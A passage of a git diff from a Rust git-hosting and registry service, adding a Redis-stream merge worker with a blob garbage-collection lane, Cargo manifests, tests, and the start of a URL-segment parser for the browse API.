h.insert(WS_AGENT_HEADER, "t1".parse().unwrap()); + assert!(presents_break_glass(&h)); + + std::env::remove_var("RUSTIC_GIT_VOL_AGENT_TOKENS"); + } + /// One Cosmos read per `REGION_TTL`, not per request — and a read that fails keeps serving + /// what was cached rather than locking every agent out. + #[tokio::test] + async fn regions_are_read_once_per_ttl_and_survive_a_failed_refresh() { + use rustic_git_workspaces::store::{MetaStore, StoreErr}; + use std::sync::atomic::{AtomicUsize, Ordering}; + + struct Counting { + reads: AtomicUsize, + fail: std::sync::atomic::AtomicBool, + } + #[async_trait::async_trait] + impl MetaStore for Counting { + async fn put_region(&self, _: &Region) -> Result<(), StoreErr> { + unreachable!() + } + async fn regions(&self) -> Result, StoreErr> { + self.reads.fetch_add(1, Ordering::SeqCst); + if self.fail.load(Ordering::SeqCst) { + return Err(StoreErr::Other("cosmos blip".into())); + } + Ok(vec![Region { + id: "r".into(), + name: "r".into(), + storage_account: String::new(), + blob_container: String::new(), + status: "active".into(), + agent_token: "tok".into(), + }]) + } + } + let store = Arc::new(Counting { reads: AtomicUsize::new(0), fail: Default::default() }); + let jobs = JobsState::new(Some(store.clone())); + for _ in 0..5 { + assert_eq!(jobs.regions().await.unwrap().len(), 1); + } + assert_eq!(store.reads.load(Ordering::SeqCst), 1, "five requests, one read"); + + // Expire the cache and make the store fail: the stale list is still served. + let stale = jobs.regions.lock().unwrap().take().map(|(_, v)| (std::time::Instant::now() - REGION_TTL * 2, v)); + *jobs.regions.lock().unwrap() = stale; + store.fail.store(true, Ordering::SeqCst); + assert_eq!(jobs.regions().await.unwrap().len(), 1, "a failed refresh serves the cached list"); + assert_eq!(store.reads.load(Ordering::SeqCst), 2); + } +} diff --git a/bins/server/tests/admin.rs b/bins/server/tests/admin.rs new file mode 100644 index 00000000..611c1410 --- /dev/null +++ b/bins/server/tests/admin.rs @@ -0,0 +1,17 @@ +//! Spawns the real binary, so it lives in the binary's own package: `CARGO_BIN_EXE_` is only +//! set for same-package bins, which is what guarantees cargo builds it before the test runs +//! (the root test host's path-guessing broke on a cold target dir in CI). + +/// Catches: a missing `admin purge-cache` arm, which falls through to the usage error. +#[test] +fn purge_cache_is_a_command() { + let out = std::process::Command::new(env!("CARGO_BIN_EXE_rustic-git")) + .args(["admin", "purge-cache", "alice/web"]) + .env("RUSTIC_GIT_S3_URL", "mem://") + .env("RUSTIC_GIT_CACHE_DIR", tempfile::tempdir().unwrap().keep()) + .output() + .unwrap(); + let err = String::from_utf8_lossy(&out.stderr); + assert!(out.status.success(), "purge-cache failed: {err}"); + assert!(!err.contains("usage:"), "purge-cache fell through to usage: {err}"); +} diff --git a/bins/worker/Cargo.toml b/bins/worker/Cargo.toml new file mode 100644 index 00000000..34287704 --- /dev/null +++ b/bins/worker/Cargo.toml @@ -0,0 +1,29 @@ +[package] +name = "rustic-git-worker-bin" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[[bin]] +name = "rustic-git-worker" +path = "src/main.rs" + +[dependencies] +tracing = { workspace = true } +metrics = { workspace = true } +rustic-git-core = { path = "../../crates/core" } +rustic-git-storage = { path = "../../crates/storage" } +rustic-git-pulls = { path = "../../crates/pulls" } # model + jobs + merge_worker; NO check +rustic-git-registry = { path = "../../crates/registry" } +tokio = { workspace = true } +rustls = { workspace = true } +reqwest = { workspace = true } +redis = { workspace = true } +serde_json = { workspace = true } +serde = { workspace = true } +futures = { workspace = true } +rand = { workspace = true } # lane identity (`rand::random`) + +[dev-dependencies] +slatedb = { workspace = true } +tempfile = { workspace = true } diff --git a/bins/worker/src/main.rs b/bins/worker/src/main.rs new file mode 100644 index 00000000..962efd34 --- /dev/null +++ b/bins/worker/src/main.rs @@ -0,0 +1,627 @@ +//! The merge worker. +//! +//! It merges again — but not the way it used to. Merging is a fetch, a three-way merge and a +//! push, all of it expressible over the git protocol, so it does NOT have to happen where the +//! repo's database is. It happens here, by running the real `git` binary +//! (`rustic_git_pulls::merge_worker`) against a bare cache clone, authenticated to the fleet as a +//! peer. +//! +//! That keeps two rules intact at once. The database still has exactly one opener — this process +//! never opens one; it asks the owner to claim the job and tells it the outcome over HTTP. And +//! BRANCH PROTECTION still holds, because the result reaches the repo as a PUSH through +//! `receive-pack`, judged by the same rule that judges anybody's push. What is bought is that an +//! unbounded tree merge no longer sits in front of the clones and pushes the owning node is +//! serving for that same repo. +//! +//! Three lanes' worth of work, on one stream: +//! +//! * `MergeRequested` — claim the change from its owner, merge it, report back. +//! * everything else — nudge the owner to re-check mergeability, and do the trial merge for +//! whichever changes it says diverged (the cheap ancestry verdicts stay on the owner, which +//! already has the graph). +//! * the blob sweep, unrelated work that touches only the object store. +//! +//! The safety floor is still the owner's own periodic lanes (`App::check_owned_pulls`, +//! `App::announce_stranded_merges`), which need neither Redis nor Mongo: a nudge that never arrives, or +//! a worker that dies mid-merge, costs a change one lease of latency, never the work. + +use rustic_git_core::err; +use rustic_git_core::Result; +use rustic_git_registry::uploads::UploadsExt; +use rustic_git_storage::config::{env, install_crypto_provider, open_store}; +use std::sync::Arc; + +#[tokio::main] +async fn main() { + rustic_git_core::log::init(); + rustic_git_core::metrics::init(); + rustic_git_core::metrics::serve_if_configured().await; + if let Err(e) = run().await { + tracing::error!("{e}"); + std::process::exit(2); + } +} + +/// How long to wait when there was nothing to do. +const IDLE: std::time::Duration = std::time::Duration::from_secs(2); + +/// The one stream every repo's events multiplex onto (see `rustic_git_storage::events`), and the +/// one consumer group every merge-worker lane/replica competes on. +const EVENTS_STREAM: &str = "events"; +const EVENTS_GROUP: &str = "merge-worker"; +/// How often a lane reclaims entries a dead consumer left unacked. +const RECLAIM_EVERY: std::time::Duration = std::time::Duration::from_secs(60); +/// How long an entry may sit claimed-but-unacked before `XAUTOCLAIM` hands it to a different +/// consumer — long enough that a slow-but-alive lane isn't fought over, short enough that a +/// lane that died doesn't strand a nudge for a whole reclaim interval. +const CLAIM_STALE_AFTER_MS: u64 = 30_000; + +async fn run() -> Result<()> { + install_crypto_provider(); + + // `false`: compaction and garbage collection belong to the node that owns the + // repository. This process only ever adds packs. + let store = open_store(false).await?; + let upstream = env("RUSTIC_GIT_UPSTREAM", "http://rustic-git:8081"); + let secret = std::env::var("RUSTIC_GIT_PEER_SECRET") + .map_err(|_| err("RUSTIC_GIT_PEER_SECRET required"))?; + let client = reqwest::Client::builder() + .timeout(std::time::Duration::from_secs(60)) + .build() + .unwrap_or_default(); + + // Nudging is mostly waiting on the fleet, so one lane leaves the worker idle whenever a + // node is slow to answer. Independent tasks, each reading the stream for itself — the + // consumer group is what keeps them from delivering the same entry twice. + let lanes: usize = env("RUSTIC_GIT_WORKER_CONCURRENCY", "4").parse().unwrap_or(4).clamp(1, 64); + // Liveness for a process with no listener: every lane touches its OWN file at the top of each + // iteration, and the Deployment's probe counts how many are fresh. One file per lane, not one + // shared file: with a shared one a single live lane keeps the heartbeat young while the other + // N-1 sit wedged, which is exactly the failure the probe exists to catch. A lane can be slow + // (sixteen nudges at the client's 60s timeout is sixteen minutes) but not silent; the probe + // window is wider than the slowest honest iteration, so it only fires for a truly stuck loop. + let cache = std::path::PathBuf::from(env("RUSTIC_GIT_CACHE_DIR", "./.local/cache")); + let _ = std::fs::create_dir_all(&cache); + tracing::info!(lanes, %upstream, "merge worker ready"); + // Checked once, here, rather than discovered per merge: without git this process still nudges + // and still sweeps blobs, so it looks healthy while refusing every merge it is handed. Loud at + // startup is the difference between "the image is wrong" and "merges mysteriously fail". + if !rustic_git_pulls::merge_worker::available() { + tracing::error!( + "merge worker: no `git` on PATH — every merge will be REFUSED. Install git in the \ + runtime image (bookworm's 2.39 is new enough); mergeability for diverged changes \ + will stay unanswered too" + ); + } + // Correctness never depended on Redis (see `Cache::connect`'s fail-open design) and still + // does not — the floor is the owning node's own periodic lane, which needs neither Redis nor + // Mongo. What is lost without Redis is only speed: no nudges reach this worker, so every + // change waits for that lane's drift ceiling instead of being looked at within seconds. Loud + // on purpose, so a missing `RUSTIC_GIT_REDIS_URL` shows up in logs rather than showing up as + // "mergeability takes a minute to update now". + if !store.cache.connected() { + tracing::warn!( + "merge worker: no Redis (RUSTIC_GIT_REDIS_URL unset or unreachable) — no live stream \ + nudges; mergeability checks fall back to each owning node's own sweep and will be \ + much slower to notice changes" + ); + } + + // Identifies one lane of one process to the consumer group, so `XAUTOCLAIM` can tell a dead + // consumer's pending entries from a live one's. Random, not hostname+index: two pods + // restarted into the same name would otherwise share a consumer and steal each other's. + let run: u64 = rand::random(); + + // Idempotent (see the doc comment): every replica that boots calls this, and only the first + // one in the fleet's history actually creates anything. + store.cache.xgroup_create_mkstream(EVENTS_STREAM, EVENTS_GROUP).await; + + // The blob sweep is unrelated work — it touches the object store directly, never a repo's + // refs or packs — so it gets its own lane rather than competing with merge lanes for a slot. + let grace = rustic_git_registry::gc::blob_grace(); + let gc_store = Arc::clone(&store); + let gc_cache = cache.clone(); + let mut tasks = + vec![tokio::spawn(async move { gc_lane(&gc_store, grace, &gc_cache).await })]; + for i in 0..lanes { + let alive = cache.join(format!("worker-alive.{i}")); + let w = Worker { + store: Arc::clone(&store), + client: client.clone(), + upstream: upstream.clone(), + secret: secret.clone(), + cache: cache.clone(), + me: format!("{run:016x}/{i}"), + }; + tasks.push(tokio::spawn(async move { lane(&w, &alive).await })); + } + // Every lane loops forever, so the FIRST one to finish — panic or return — is a dead lane. + // Awaiting the handles in order would only notice lane N after lanes 0..N had finished, + // which is never; this resolves on any of them, and the `Err` exits the process so the pod + // restarts at full capacity instead of quietly running short. + Err(err(first_exit(tasks).await)) +} + +async fn first_exit(tasks: Vec>) -> String { + let (result, index, _rest) = futures::future::select_all(tasks).await; + match result { + Ok(()) => format!("worker lane {index} returned"), + Err(e) => format!("worker lane {index} died: {e}"), + } +} + +/// One lane: consume the stream, nudge the owner, repeat. +/// +/// Neither kind of work is discovered here any more. Mergeability checking used to poll Mongo for +/// whatever change was looked at longest ago; merge jobs used to be claimed the same way. Both +/// scan pull requests, and a pull request now lives in its repo's own database — scanning would +/// mean opening databases this process does not own, which FENCES the node serving them. +/// +/// So the split is across processes rather than across clocks: +/// +/// * this lane forwards each stream entry to the node that owns the repo as a +/// `pulls/{n}/check` POST — the low-latency path, "go look at this one, now"; +/// * the FLOOR is that node's own periodic lanes, which sweep the repos it owns whether or not +/// anything reached it. A dropped, evicted or never-delivered nudge costs a change one drift +/// ceiling of staleness, never a check or a merge — and unlike the old floor, that holds with +/// Mongo down too. +/// +/// `XAUTOCLAIM` runs on its own slower clock to reclaim entries a dead consumer left unacked — +/// "delayed, never lost" applied to redelivery instead of discovery. +/// One lane's share of everything a lane needs. A struct rather than six parameters threaded +/// through four functions: the merge path needs all of them, and the next thing added would have +/// to be added in four places. +struct Worker { + store: Arc, + client: reqwest::Client, + upstream: String, + secret: String, + cache: std::path::PathBuf, + /// Identifies this lane to the consumer group AND to the owner as a merge claimant. + me: String, +} + +async fn lane(w: &Worker, alive: &std::path::Path) { + let (store, me) = (&w.store, w.me.as_str()); + let mut last_claim = std::time::Instant::now(); + loop { + // This lane's own heartbeat; the probe counts fresh ones against the lane count, so a lane + // that stops writing is noticed even while its siblings keep going. Errors ignored: a + // probe that fails because the cache directory is unwritable is the right outcome, and + // logging it every 2s is not. + let _ = std::fs::write(alive, b""); + // Reclaim work whose consumer died before it acked, so a crashed lane's nudges are not + // stranded until the next full sweep pass. + if last_claim.elapsed() >= RECLAIM_EVERY { + last_claim = std::time::Instant::now(); + let claimed = store + .cache + .xautoclaim(EVENTS_STREAM, EVENTS_GROUP, me, CLAIM_STALE_AFTER_MS, 16) + .await; + for (id, fields) in claimed { + store.cache.xack(EVENTS_STREAM, EVENTS_GROUP, &id).await; + let _ = std::fs::write(alive, b""); + handle_event(w, &fields).await; + } + } + + let delivered = store.cache.xreadgroup(EVENTS_STREAM, EVENTS_GROUP, me, 16).await; + if delivered.is_empty() { + // `xreadgroup` never blocks (see `cache.rs` — a blocking read would park the shared + // multiplexed connection and starve every other command), so this sleep is the ONLY + // thing pacing the lane, on a live Redis just as much as a dead one. It also sets the + // worst-case delay between an event landing and a lane noticing it. + tokio::time::sleep(IDLE).await; + continue; + } + // Acked BEFORE it is handled, and the heartbeat touched per entry. The stream is a nudge, + // never the record (`CLAUDE.md`): a merge's record is the owner's claim, so an entry + // acked-then-lost costs one lease of latency, whereas an entry held unacked through a + // long merge was `XAUTOCLAIM`ed by a sibling lane at 30s and merged twice. Per-entry + // heartbeats keep a lane draining sixteen slow merges from looking wedged. + for (id, fields) in delivered { + store.cache.xack(EVENTS_STREAM, EVENTS_GROUP, &id).await; + let _ = std::fs::write(alive, b""); + handle_event(w, &fields).await; + } + } +} + +/// A repo-wide event is `HeadMoved` specifically (its `number: 0` is the marker — see +/// `browse_api::pulls::api_pull_outcome`'s publish), never just "any event whose number happens to be 0": a stray or +/// legacy `PullOpened`/`PullCommented` with `number: 0` must stay a (no-op) single-PR lookup, +/// not fan out to the whole repo. Pulled out as a pure predicate so this can be unit-tested +/// without a `Directory`/Mongo fixture. +fn targets_whole_repo(e: &rustic_git_storage::events::Event) -> bool { + e.number == 0 && matches!(e.kind, rustic_git_storage::events::Kind::HeadMoved) +} + +/// Turn one delivered stream entry into work. +/// +/// Ack happens before this runs (see the caller). Nothing that fails here is lost work: +/// a merge stays claimed until its lease lapses and the owner re-announces it, and a check the +/// owner never heard about is redone by its own periodic sweep. That floor, not this path, is +/// what makes it safe for all of this to depend on Redis and on the fleet being reachable. +async fn handle_event(w: &Worker, fields: &[(String, String)]) { + let Some(e) = rustic_git_storage::events::from_fields(fields) else { return }; + let Some((owner, name)) = e.repo.split_once('/') else { return }; + let (owner, name) = (owner.to_string(), name.to_string()); + // One merge cache per repo, and one lane in it at a time: two lanes fetching and merging in + // the same directory would race on refs and on the single result ref. Held across the whole + // of the work, not just the git part, because the claim is what the lock is really about. + let lock = w.store.keyed_lock(&format!("merge/{owner}/{name}")); + let _guard = lock.lock().await; + + if matches!(e.kind, rustic_git_storage::events::Kind::MergeRequested) { + merge_one(w, &owner, &name, e.number).await; + return; + } + + // `HeadMoved` is repo-wide, not about one change: number 0 is the whole-repo form the check + // route understands, and the fan-out (and its cap) belongs to the owner, which can list the + // open changes without a round trip. + let number = if targets_whole_repo(&e) { 0 } else { e.number }; + // Kinds with no mergeability effect cost the owner one cheap no-op, so they are not filtered + // here — `pulls::check` returns without writing when nothing moved, and a closed change is + // skipped outright. + let deep: Vec = + match post(w, &owner, &name, number, "check", None).await { + Ok(Some(v)) => v, + Ok(None) => Vec::new(), + Err(why) => { + tracing::warn!(repo = %e.repo, number, %why, "checking change"); + return; + } + }; + // Whatever ancestry could not answer. The owner has already written "checking…" against each + // of these, so a trial merge that never happens shows as pending rather than as a wrong verdict. + // + // ONE fetch for the whole fan-out: a `HeadMoved` can hand back `CHECK_LIMIT` changes, and every + // one of them wants the same cache at the same tips. A fetch that fails is not fatal — the + // cache may still hold usable tips from a previous sync, and `check_local` says `Unknown` when + // it does not. + if !deep.is_empty() { + let mut branches: Vec = Vec::new(); + for d in &deep { + for b in [&d.base, &d.head] { + if !branches.contains(b) { + branches.push(b.clone()); + } + } + } + let (cache, upstream, secret) = (w.cache.clone(), w.upstream.clone(), w.secret.clone()); + let (o, n) = (owner.clone(), name.clone()); + let synced = tokio::task::spawn_blocking(move || { + rustic_git_pulls::merge_worker::sync_branches(&cache, &upstream, &secret, &o, &n, &branches) + }) + .await; + if let Ok(Err(why)) = &synced { + tracing::warn!(%owner, %name, %why, "syncing branches"); + } + } + for d in deep { + check_one(w, &owner, &name, &d).await; + } +} + +/// POST one of the owner's peer-only pull routes and read its JSON answer, if it has one. +/// +/// `Ok(None)` is a success with no body (204). `Err` carries a sentence for the log — never the +/// peer secret, which lives only in the header. +async fn post( + w: &Worker, + owner: &str, + name: &str, + number: i64, + tail: &str, + body: Option, +) -> std::result::Result, String> { + let url = format!("{}/api/{owner}/{name}/pulls/{number}/{tail}", w.upstream); + let mut req = w + .client + .post(url) + .header(rustic_git_core::peer::PEER_HEADER, &w.secret) + // The identity the owner authorizes these routes as. The repo's owner, because that is + // whose repo the worker is acting on — see `browse_api::pulls::as_owner`. + .header(rustic_git_core::peer::OWNER_HEADER, owner); + if let Some(b) = body { + req = req.json(&b); + } + let r = req.send().await.map_err(|e| e.to_string())?; + if !r.status().is_success() { + return Err(r.status().to_string()); + } + let bytes = r.bytes().await.map_err(|e| e.to_string())?; + if bytes.is_empty() { + return Ok(None); + } + serde_json::from_slice(&bytes).map(Some).map_err(|e| e.to_string()) +} + +/// Claim one change's merge from its owner, perform it, and report how it went. +/// +/// A 409 on the claim is the normal answer to a duplicate delivery — someone else has it, or it +/// already finished — so it is not logged as a failure. The outcome POST is the only thing that +/// ends the job: if this process dies between the merge and the report, the merge itself was a +/// push (idempotent, and already landed or not) and the lease brings the job back. +async fn merge_one(w: &Worker, owner: &str, name: &str, number: i64) { + let claimed = post::( + w, + owner, + name, + number, + &format!("claim?by={}", urlencoding(&w.me)), + None, + ) + .await; + let job = match claimed { + Ok(Some(j)) => j, + Ok(None) => return, + // Includes the 409 "someone else has it", which is the common case on a redelivery. + Err(_) => return, + }; + let (cache, upstream, secret) = (w.cache.clone(), w.upstream.clone(), w.secret.clone()); + let started = std::time::Instant::now(); + let done = tokio::task::spawn_blocking(move || { + rustic_git_pulls::merge_worker::run(&job, &cache, &upstream, &secret) + }) + .await; + metrics::histogram!("merge_duration_seconds").record(started.elapsed().as_secs_f64()); + let outcome = match done { + Ok(Ok(o)) => { + let state = format!("{:?}", o.state).to_ascii_lowercase(); + metrics::counter!("merge_outcomes_total", "state" => state).increment(1); + o + } + // Neither a merge nor an answer: leave the job claimed and let its lease bring it back, + // rather than recording a failure this worker cannot stand behind. + Ok(Err(e)) => { + metrics::counter!("merge_outcomes_total", "state" => "error").increment(1); + tracing::error!(%owner, %name, number, error = %e, "merging change"); + return; + } + Err(e) => { + metrics::counter!("merge_outcomes_total", "state" => "error").increment(1); + tracing::error!(%owner, %name, number, error = %e, "merging change"); + return; + } + }; + let body = serde_json::to_value(&outcome).unwrap_or_default(); + // `by` is the token this lane claimed with. The owner refuses the report if the job has since + // been claimed by someone else — this lane's lease lapsed while it was merging, and the newer + // claimant's answer is the one that counts. + let tail = format!("outcome?by={}", urlencoding(&w.me)); + if let Err(why) = post::(w, owner, name, number, &tail, Some(body)).await { + tracing::error!(%owner, %name, number, %why, "reporting merge outcome"); + } +} + +/// The trial merge for one diverged change, and the verdict sent back. Purely local: the caller +/// has already fetched every branch of the fan-out in one go. +async fn check_one(w: &Worker, owner: &str, name: &str, d: &rustic_git_pulls::pulls::Deep) { + let job = rustic_git_pulls::merge_worker::Job { + owner: owner.to_string(), + name: name.to_string(), + number: d.number, + strategy: String::new(), // unused by a check: it never commits and never pushes + base: d.base.clone(), + head: d.head.clone(), + title: String::new(), + requested_by: String::new(), + }; + let cache = w.cache.clone(); + let verdict = + tokio::task::spawn_blocking(move || rustic_git_pulls::merge_worker::check_local(&job, &cache)) + .await; + let verdict = match verdict { + Ok(Ok(v)) => v, + // Left as "checking…"; the owner's next sweep asks again. Better than writing a verdict + // this worker could not actually reach the fleet to compute. + Ok(Err(e)) => { + tracing::warn!(%owner, %name, number = d.number, error = %e, "checking change"); + return; + } + Err(e) => { + tracing::warn!(%owner, %name, number = d.number, error = %e, "checking change"); + return; + } + }; + let body = serde_json::to_value(&verdict).unwrap_or_default(); + if let Err(why) = + post::(w, owner, name, d.number, "mergeability", Some(body)).await + { + tracing::warn!(%owner, %name, number = d.number, %why, "reporting the check of change"); + } +} + +/// The lane id goes into a query string, and it contains a `/`. Percent-encoding exactly the +/// characters that would otherwise change the URL's shape is smaller than a dependency for it. +fn urlencoding(s: &str) -> String { + s.chars() + .map(|c| match c { + 'a'..='z' | 'A'..='Z' | '0'..='9' | '-' | '_' | '.' | '~' => c.to_string(), + c => c.to_string().bytes().map(|b| format!("%{b:02X}")).collect(), + }) + .collect() +} + +/// How long to rest between owners within a sweep pass, and between whole passes once every +/// owner has had a turn. One owner per cycle — not every owner at once — so the sweep never +/// shows up as a burst of object-store listing traffic on top of whatever pushes are in flight. +const GC_OWNER_GAP: std::time::Duration = std::time::Duration::from_secs(5); +const GC_PASS_GAP: std::time::Duration = std::time::Duration::from_secs(60); + +/// Every owner with anything under any image prefix. `blobs/` alone misses an owner whose layers +/// were all deleted but whose manifests remain, and one whose image database exists with nothing +/// pushed yet — both still need their listing markers reconciled. A prefix that fails to list is +/// logged and skipped: the others still get their turn. +async fn image_owners(store: &rustic_git_storage::store::Store) -> std::collections::BTreeSet { + let mut owners = std::collections::BTreeSet::new(); + for prefix in ["blobs/", "manifests/", "repo/img/"] { + owners.extend(owners_under(store, prefix).await); + } + owners +} + +/// The owner names directly under one prefix. A prefix that fails to list warns and yields none: +/// the sweep is keep-biased, so a missing owner costs this pass and nothing more. +async fn owners_under(store: &rustic_git_storage::store::Store, prefix: &str) -> Vec { + match rustic_git_registry::list_dir_names(&store.os, prefix).await { + Ok(o) => o, + Err(e) => { + tracing::warn!(%prefix, error = %e, "gc: listing prefix"); + vec![] + } + } +} + +/// Sweep one owner at a time, forever. Reads every manifest before it deletes a single blob — +/// see `registry::gc` for why that order is load-bearing — so a wrong answer here destroys a +/// layer a live image still needs, which is why it runs on its own schedule instead of hurrying. +/// How long a repo's merge cache may sit unused before it is deleted. A cache is a pure +/// derivative of the fleet, so this only ever costs a re-fetch — but a worker that has served a +/// thousand repos would otherwise hold a bare clone of every one of them forever. +/// ponytail: an age rule, not a size budget. Upgrade path: see `merge_worker::prune`. +const CACHE_KEEP: std::time::Duration = std::time::Duration::from_secs(7 * 24 * 60 * 60); + +async fn gc_lane( + store: &rustic_git_storage::store::Store, + grace: std::time::Duration, + cache: &std::path::Path, +) { + let upload_grace = rustic_git_registry::uploads::upload_grace(); + loop { + // Cheap and local — no object store, no fleet — so it rides the sweep it cannot slow down. + match rustic_git_pulls::merge_worker::prune(cache, CACHE_KEEP) { + 0 => {} + n => tracing::info!(dropped = n, "gc: dropped idle merge cache(s)"), + } + let owners = image_owners(store).await; + // Uploads are swept for their own owner set: a push can leave a staging object behind + // before it ever lands a blob, so an owner with only abandoned sessions and no blobs yet + // must still be visited, not just the owners `image_owners` finds. + let upload_owners = owners_under(store, "uploads/").await; + // Repo owners are their own set: an owner with code repos and no images appears under + // neither `blobs/` nor `uploads/`. `img` is filtered out because `repo/img/...` is the + // image keyspace, not an owner with repos — see `reconcile_repo_owner`. + let repo_owners = owners_under(store, "repo/").await; + if owners.is_empty() && upload_owners.is_empty() && repo_owners.is_empty() { + tokio::time::sleep(GC_PASS_GAP).await; + continue; + } + for owner in &owners { + match rustic_git_registry::gc::sweep_owner(store, owner, grace).await { + Ok(n) if n > 0 => tracing::info!(%owner, blobs = n, "gc: swept blob(s) for owner"), + Ok(_) => {} + Err(e) => tracing::warn!(%owner, error = %e, "gc: sweeping owner"), + } + match rustic_git_registry::gc::reconcile_owner(store, owner).await { + Ok(n) if n > 0 => tracing::info!(%owner, markers = n, "gc: reconciled listing marker(s) for owner"), + Ok(_) => {} + Err(e) => tracing::warn!(%owner, error = %e, "gc: reconciling markers for owner"), + } + tokio::time::sleep(GC_OWNER_GAP).await; + } + for owner in repo_owners.iter().filter(|o| o.as_str() != "img") { + match rustic_git_registry::gc::reconcile_repo_owner(store, owner).await { + Ok(n) if n > 0 => tracing::info!(%owner, markers = n, "gc: reconciled repo listing marker(s) for owner"), + Ok(_) => {} + Err(e) => tracing::warn!(%owner, error = %e, "gc: reconciling repo markers for owner"), + } + tokio::time::sleep(GC_OWNER_GAP).await; + } + for owner in &upload_owners { + match store.sweep_stale_uploads(owner, upload_grace).await { + Ok(n) if n > 0 => tracing::info!(%owner, sessions = n, "gc: swept stale upload session(s) for owner"), + Ok(_) => {} + Err(e) => tracing::warn!(%owner, error = %e, "gc: sweeping uploads for owner"), + } + tokio::time::sleep(GC_OWNER_GAP).await; + } + tokio::time::sleep(GC_PASS_GAP).await; + } +} + +#[cfg(test)] +mod targets_whole_repo_tests { + use super::targets_whole_repo; + use rustic_git_storage::events::{Event, Kind}; + + fn event(kind: Kind, number: i64) -> Event { + Event { + kind, + repo: "alice/web".into(), + number, + actor: String::new(), + at_ms: 0, + title: String::new(), + base: String::new(), + head: String::new(), + } + } + + #[test] + fn head_moved_at_zero_targets_the_whole_repo() { + assert!(targets_whole_repo(&event(Kind::HeadMoved, 0))); + } + + #[test] + fn a_pull_opened_at_zero_does_not() { + // Keys on the KIND, not the value: a stray/legacy `number: 0` on any other kind must + // stay a single-PR (no-op) lookup, never a repo-wide fan-out. + assert!(!targets_whole_repo(&event(Kind::PullOpened, 0))); + } +} + +#[cfg(test)] +mod first_exit_tests { + use super::first_exit; + + /// The point of the worker's supervision: a panic in ANY lane is noticed while the others + /// are still running — not after they finish, which for a lane is never. + #[tokio::test] + async fn a_panicking_lane_is_noticed_while_another_still_runs() { + let forever = tokio::spawn(async { std::future::pending::<()>().await }); + let dies = tokio::spawn(async { panic!("lane died") }); + let reason = + tokio::time::timeout(std::time::Duration::from_secs(2), first_exit(vec![forever, dies])) + .await + .expect("must resolve while the other lane is still running"); + assert!(reason.contains("lane 1"), "got {reason}"); + } + + /// A lane that RETURNS is just as dead as one that panics — it stops doing its share either + /// way — so it must resolve `first_exit` too, not only the panicking case. + #[tokio::test] + async fn a_lane_that_returns_is_a_death_too() { + let quits = tokio::spawn(async {}); + let forever = tokio::spawn(async { std::future::pending::<()>().await }); + let reason = + tokio::time::timeout(std::time::Duration::from_secs(2), first_exit(vec![quits, forever])) + .await + .expect("must resolve while the other lane is still running"); + assert_eq!(reason, "worker lane 0 returned"); + } +} + +#[cfg(test)] +mod image_owners_tests { + use super::image_owners; + use slatedb::object_store::{memory::InMemory, path::Path as OsPath, ObjectStoreExt, PutPayload}; + use std::sync::Arc; + + /// An owner is anyone with anything under ANY of the image prefixes: blobs-only (mid-push), + /// manifests-only (blobs deleted), or a bare image directory (DB created, nothing pushed). + #[tokio::test] + async fn owners_are_the_union_of_blobs_manifests_and_image_dirs() { + let tmp = tempfile::tempdir().unwrap(); + let store = rustic_git_storage::store::Store::open(Arc::new(InMemory::new()), tmp.path().join("cache"), false) + .await + .unwrap(); + for p in ["blobs/alpha/sha256/aa", "manifests/beta/nginx/sha256/bb", "repo/img/gamma/nginx/manifest/0.sst"] { + store.os.put(&OsPath::from(p), PutPayload::from("x")).await.unwrap(); + } + let owners: Vec = image_owners(&store).await.into_iter().collect(); + assert_eq!(owners, vec!["alpha", "beta", "gamma"]); + } +} diff --git a/crates/api/Cargo.toml b/crates/api/Cargo.toml new file mode 100644 index 00000000..20cf5965 --- /dev/null +++ b/crates/api/Cargo.toml @@ -0,0 +1,40 @@ +[package] +name = "rustic-git-api" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_api" + +[dependencies] +tracing = { workspace = true } +rustic-git-core = { path = "../core" } +rustic-git-storage = { path = "../storage" } +rustic-git-pulls = { path = "../pulls" } +rustic-git-workspaces = { path = "../workspaces" } +tokio = { workspace = true } +futures = { workspace = true } +slatedb = { workspace = true } +axum = { workspace = true } +tower-http = { workspace = true } +pgp = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +base64 = { workspace = true } +reqwest = { workspace = true } +form_urlencoded = { workspace = true } +rand = { workspace = true } +mongodb = { workspace = true } +# Only `ssh_fingerprint` (in `credentials.rs`) needs this — computing an OpenSSH key's +# fingerprint before it is stored. Not in the brief's dependency list; added because that one +# function has no `russh`-free way to do it. +russh = { workspace = true } +# `ssh-keygen` writes a key to a PATH, so generating one needs a private scratch directory that is +# removed even if the process dies mid-call. +tempfile = { workspace = true } +# Invitation tokens are stored by hash — already in the graph via storage. +sha2 = { workspace = true } + +[dev-dependencies] +tower = { workspace = true } diff --git a/crates/api/src/browse.rs b/crates/api/src/browse.rs new file mode 100644 index 00000000..d6a39a27 --- /dev/null +++ b/crates/api/src/browse.rs @@ -0,0 +1,432 @@ +use super::*; + +/// One parsed request. Authorization, the cache key and the upstream URL all come from THIS — +/// never from the raw URI. Deriving them from different strings is how `..` in a path authorizes +/// one repo and reads another: `Url::parse` removes dot segments, a hand-rolled split does not. +pub(crate) struct Parsed { + /// `owner/name` — what the visibility check and the cache are keyed on. + repo: String, + /// The cache suffix. Injective: a segment's `%` and `:` are escaped, so no two distinct + /// paths can collide on one entry. + suffix: String, + /// The path forwarded upstream, rebuilt from the same segments. + path: String, +} + +/// Escape everything that carries meaning in the suffix grammar, whose separators are `:` +/// between segments and `?` before the query. Segments are DECODED before this runs, so both can +/// reach it as ordinary bytes — an unescaped `?` would make `/tree/a%3Fpage=2` and `/tree/a` with +/// `?page=2` one cache entry. `%` goes first, or the escapes this adds would themselves be +/// re-escaped. +pub(crate) fn escape(seg: &str) -> String { + seg.replace('%', "%25") + .replace(':', "%3A") + .replace('?', "%3F") +} + +/// Percent-decode one path segment, exactly once. `None` for a malformed escape or non-UTF-8: +/// nothing legitimate here is either, and guessing is how a decoder becomes a second parser. +pub(crate) fn decode(seg: &str) -> Option { + let b = seg.as_bytes(); + let mut out = Vec::with_capacity(b.len()); + let mut i = 0; + while i < b.len() { + if b[i] == b'%' { + let hex = b.get(i + 1..i + 3)?; + // `from_str_radix` accepts a leading `+`, so the digits are checked first. + if !hex.iter().all(|c| c.is_ascii_hexdigit()) { + return None; + } + out.push(u8::from_str_radix(std::str::from_utf8(hex).ok()?, 16).ok()?); + i += 3; + } else { + out.push(b[i]); + i += 1; + } + } + String::from_utf8(out).ok() +} + +/// Re-encode a decoded segment for the forwarded path: everything outside the unreserved set +/// becomes `%XX`, so the 